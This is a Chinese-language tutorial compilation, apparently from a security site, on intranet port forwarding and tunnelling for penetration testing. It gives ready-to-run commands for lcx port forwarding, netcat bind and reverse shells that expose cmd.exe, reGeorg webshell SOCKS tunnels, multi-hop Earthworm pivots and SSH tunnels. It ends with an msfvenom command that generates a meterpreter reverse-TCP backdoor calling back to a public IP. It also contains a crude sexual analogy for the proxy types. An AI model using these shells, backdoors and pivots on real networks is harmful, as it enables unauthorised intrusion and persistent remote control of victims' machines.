【合集】内网端口转发及穿透
字数 1732 2025-08-29 08:31:41
内网端口转发及穿透技术详解
0x01 正向代理与反向代理
正向代理 (Forward Proxy)
- 结构:Lhost → proxy → Rhost
- 特点:
- proxy和client同属一个LAN
- 对server透明
- proxy代替client访问Rhost
- 应用场景:客户端需要通过代理访问外部资源
反向代理 (Reverse Proxy)
- 结构:Lhost ↔ proxy ↔ firewall ↔ Rhost
- 特点:
- proxy和server同属一个LAN
- 对client透明
- proxy决定将请求转发到哪个后端服务器
- 应用场景:负载均衡、穿透防火墙
形象区分:
- 正向代理:客户端戴套(proxy)插进去
- 反向代理:服务端(Rhost)通过上位(proxy)坐上来
0x02 lcx端口转发
实验环境
- 内网IP:192.168.153.138
- 公网IP:192.168.153.140
操作步骤
-
内网机器执行:
lcx.exe -slave 192.168.153.140 4444 192.168.153.138 3389将内网3389端口转发到公网4444端口
-
公网机器执行:
lcx -listen 4444 5555监听4444端口并将请求转发到5555端口
-
连接:通过127.0.0.1:5555访问内网远程桌面
0x03 nc反弹
正向连接
- 内网执行:
nc -l -p 5555 -t -e cmd.exe - 公网执行:
nc -nvv 192.168.153.138 5555
反向连接
- 公网监听:
nc -lp 5555 - 内网反弹:
nc -t -e cmd 192.168.153.140 5555
0x04 SOCKS代理工具
1. Earthworm/Termite
- 功能:SOCKS v5服务架设和端口转发
- 支持:Linux/Windows/MacOS/Arm-Linux
- 最新版:Termite
2. reGeorg
- 原理:通过webshell建立SOCKS代理
- 要求:服务器支持aspx/php/jsp
- 使用:
python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp
3. sSocks
- 特点:支持SOCKS5验证、IPV6和UDP
- 提供反向SOCKS代理服务
4. SocksCap64
- 功能:Windows全局代理软件
- 优点:使不支持SOCKS的应用程序也能代理
5. Proxychains
- 功能:Linux全局代理
- 配置:支持多个代理链
- 限制:不支持UDP和ICMP
0x04.1 reGeorg+Proxychains组合
- 上传tunnel.jsp到服务器
- 本地执行:
python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp - 配置proxychains:
socks5 127.0.0.1 1080 - 使用nmap扫描:
proxychains nmap -sT -Pn 目标IP
0x04.2 Earthworm穿透技术
六种链路状态
- ssocksd:正向SOCKS代理
- rcsocks:反向SOCKS代理服务端
- rssocks:反向SOCKS代理客户端
- lcx_slave:连接代理请求方和提供方
- lcx_tran:监听本地端口并转发
- lcx_listen:监听本地端口并转交
0x04.2.1 正向SOCKS5服务器
ew_for_Win.exe -s ssocksd -l 8888
其他主机设置代理为192.168.153.140:8888
0x04.2.2 反弹SOCKS5服务器
- 公网VPS执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888 - 目标主机执行:
ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888 - 本地通过VPS的1080端口访问内网
0x04.2.3 二级网络环境(一)
- B主机执行:
ew_for_Win.exe -s ssocksd -l 8888 - A主机执行:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888 - 通过A的外网IP:1080访问B
0x04.2.4 二级网络环境(二)
- 公网VPS执行:
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888 - B主机执行:
ew_for_Win.exe -s ssocksd -l 9999 - A主机执行:
ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999 - 通过VPS的10800端口访问内网
0x05 SSH隧道代理转发
三种转发方式
- 本地转发(-L)
- 远程转发(-R)
- 动态转发(-D)
常用参数
- -q:安静模式
- -T:不占用shell
- -f:后台运行
- -N:不执行远程命令
0x05.1 SSH本地转发
ssh -CfNg -L 1234:127.0.0.1:3306 root@45.32.31.121
将远程3306转发到本地1234端口
0x05.2 SSH远程转发
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
将内网80端口转发到外网81端口
0x05.3 SSH动态转发(SOCKS代理)
ssh -qTfnN -D 1080 root@45.32.31.121
创建SOCKS代理隧道
0x06 内网穿透平台
常见平台
- ngrok:https://www.ngrok.cc/
- natapp:https://natapp.cn/
使用示例
- 注册并开通隧道
- 下载客户端
- 生成后门:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe - 本地监听
总结
本文详细介绍了内网穿透的各种技术手段,包括正向/反向代理、lcx端口转发、nc反弹、SOCKS代理工具(Earthworm/reGeorg/sSocks等)、SSH隧道转发以及商业内网穿透平台。掌握这些技术可以帮助安全测试人员在复杂网络环境下完成渗透测试任务。